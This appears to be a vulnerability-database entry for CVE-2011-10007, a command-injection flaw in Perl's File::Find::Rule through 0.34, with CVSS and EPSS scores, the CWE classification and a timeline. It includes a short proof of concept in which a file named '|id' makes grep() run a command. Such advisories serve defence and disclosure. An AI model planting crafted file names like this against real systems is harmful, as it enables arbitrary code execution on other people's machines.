CVE-2011-10007CWE-78

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted file name

High · published June 5, 2025

CVSS v3.1
8.8
EPSS
1%
Percentile
56.1
In the wild
Unconfirmed
What it is

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted filename.

A file handle is opened with the 2 argument form of `open()` allowing an attacker controlled filename to provide the MODE parameter to `open()`, turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id"

$ perl -MFile::Find::Rule \

-E 'File::Find::Rule->grep("foo")->in("/tmp/poc")'

uid=1000(user) gid=1000(user) groups=1000(user),100(users)

The record
Technical detail
CVSS v3.1
8.8 · HIGH
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CVSS v4.0
Not supplied
EPSS
0.00800 · 56.1th percentile
Weakness
CWE-78 · Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Published
2025-06-05T11:57Z
EPSS history
Timeline
  • 05 JUN 11:57Z
    File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when `grep()` encounters a crafted file name
    cvelistv5